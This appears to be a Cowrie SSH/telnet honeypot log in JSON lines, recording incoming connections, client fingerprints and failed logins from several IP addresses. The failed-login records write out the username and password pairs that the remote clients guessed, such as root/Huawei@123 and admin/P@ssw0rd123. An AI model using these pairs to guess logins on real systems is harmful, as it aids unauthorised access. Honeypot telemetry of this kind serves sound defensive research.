{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:33:38.496980Z","src_ip":"129.146.243.24","session":"506166ecb42c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trio","password":"trio123","message":"login attempt [trio/trio123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:33:38.994070Z","src_ip":"129.146.243.24","session":"506166ecb42c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:33:40.090806Z","src_ip":"129.146.243.24","session":"506166ecb42c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":24850,"dst_ip":"10.17.0.5","dst_port":22,"session":"0579b4a25a3b","protocol":"ssh","message":"New connection: 91.92.40.36:24850 (10.17.0.5:22) [session: 0579b4a25a3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:33:41.331555Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":43610,"dst_ip":"10.17.0.5","dst_port":23,"session":"124489c2627f","protocol":"telnet","message":"New connection: 94.23.66.112:43610 (10.17.0.5:23) [session: 124489c2627f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:33:42.018680Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Hh123456","message":"login attempt [root/Hh123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:33:42.134766Z","src_ip":"91.92.40.36","session":"01331d594d39","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:33:42.149992Z","src_ip":"91.92.40.36","session":"0579b4a25a3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:33:42.153647Z","src_ip":"91.92.40.36","session":"0579b4a25a3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.0","message":"Connection lost after 9.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:33:44.892670Z","src_ip":"91.92.40.36","session":"01331d594d39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei@123","message":"login attempt [root/Huawei@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:33:45.968212Z","src_ip":"91.92.40.36","session":"0579b4a25a3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":65510,"dst_ip":"10.17.0.5","dst_port":22,"session":"aacee3ea0755","protocol":"ssh","message":"New connection: 91.92.40.36:65510 (10.17.0.5:22) [session: aacee3ea0755]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:33:47.590441Z"}
{"eventid":"cowrie.session.closed","duration":"6.8","message":"Connection lost after 6.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:33:48.096558Z","src_ip":"91.92.40.36","session":"0579b4a25a3b","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:33:49.207468Z","src_ip":"91.92.40.36","session":"aacee3ea0755","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:33:49.211975Z","src_ip":"91.92.40.36","session":"aacee3ea0755","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":10022,"dst_ip":"10.17.0.5","dst_port":22,"session":"c5f3ec13b810","protocol":"ssh","message":"New connection: 91.92.40.36:10022 (10.17.0.5:22) [session: c5f3ec13b810]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:33:54.365898Z"}
{"eventid":"cowrie.login.failed","username":"app","password":"app123","message":"login attempt [app/app123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:33:54.664690Z","src_ip":"91.92.40.36","session":"aacee3ea0755","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:33:55.702410Z","src_ip":"91.92.40.36","session":"c5f3ec13b810","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:33:55.706587Z","src_ip":"91.92.40.36","session":"c5f3ec13b810","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":41212,"dst_ip":"159.203.135.109","dst_port":22,"session":"819afe779827","protocol":"ssh","message":"New connection: 37.233.85.71:41212 (159.203.135.109:22) [session: 819afe779827]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:33:56.681368Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:33:56.686296Z","src_ip":"37.233.85.71","session":"819afe779827","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:33:56.798650Z","src_ip":"37.233.85.71","session":"819afe779827","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"platina","message":"login attempt [root/platina] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:33:57.139321Z","src_ip":"37.233.85.71","session":"819afe779827","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.7","message":"Connection lost after 9.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:33:57.329896Z","src_ip":"91.92.40.36","session":"aacee3ea0755","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:33:58.254483Z","src_ip":"37.233.85.71","session":"819afe779827","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1","message":"login attempt [root/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:34:02.163612Z","src_ip":"91.92.40.36","session":"c5f3ec13b810","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":42234,"dst_ip":"10.17.0.5","dst_port":22,"session":"7fd154a70499","protocol":"ssh","message":"New connection: 91.92.40.36:42234 (10.17.0.5:22) [session: 7fd154a70499]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:34:02.600673Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:34:04.201201Z","src_ip":"91.92.40.36","session":"7fd154a70499","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:34:04.223613Z","src_ip":"91.92.40.36","session":"7fd154a70499","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.5","message":"Connection lost after 10.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:34:04.866729Z","src_ip":"91.92.40.36","session":"c5f3ec13b810","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":57648,"dst_ip":"10.17.0.5","dst_port":22,"session":"e686615e45c6","protocol":"ssh","message":"New connection: 91.92.40.36:57648 (10.17.0.5:22) [session: e686615e45c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:34:09.177969Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:34:10.823733Z","src_ip":"91.92.40.36","session":"e686615e45c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:34:10.828391Z","src_ip":"91.92.40.36","session":"e686615e45c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop123","message":"login attempt [hadoop/hadoop123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:34:10.863228Z","src_ip":"91.92.40.36","session":"7fd154a70499","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00192761421204,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:34:12.523607Z","src_ip":"198.176.52.221","session":"7c564dbae1c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"11.5","message":"Connection lost after 11.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:34:14.075095Z","src_ip":"91.92.40.36","session":"7fd154a70499","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.9.84","src_port":41204,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b59002a497e","protocol":"ssh","message":"New connection: 163.7.9.84:41204 (10.17.0.5:22) [session: 8b59002a497e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:34:16.663911Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:34:16.671081Z","src_ip":"163.7.9.84","session":"8b59002a497e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:34:16.922768Z","src_ip":"163.7.9.84","session":"8b59002a497e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"00000000","message":"login attempt [root/00000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:34:17.922141Z","src_ip":"91.92.40.36","session":"e686615e45c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"P@ssw0rd123","message":"login attempt [admin/P@ssw0rd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:34:17.968507Z","src_ip":"163.7.9.84","session":"8b59002a497e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:34:19.233984Z","src_ip":"163.7.9.84","session":"8b59002a497e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.1","message":"Connection lost after 11.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:34:20.302601Z","src_ip":"91.92.40.36","session":"e686615e45c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":38604,"dst_ip":"10.17.0.5","dst_port":22,"session":"98cb0ffbf28a","protocol":"ssh","message":"New connection: 91.92.40.36:38604 (10.17.0.5:22) [session: 98cb0ffbf28a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:34:20.392862Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:34:21.444655Z","src_ip":"91.92.40.36","session":"98cb0ffbf28a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.123.217.22","src_port":58948,"dst_ip":"10.17.0.5","dst_port":22,"session":"983850f017a7","protocol":"ssh","message":"New connection: 45.123.217.22:58948 (10.17.0.5:22) [session: 983850f017a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:34:22.436396Z"}
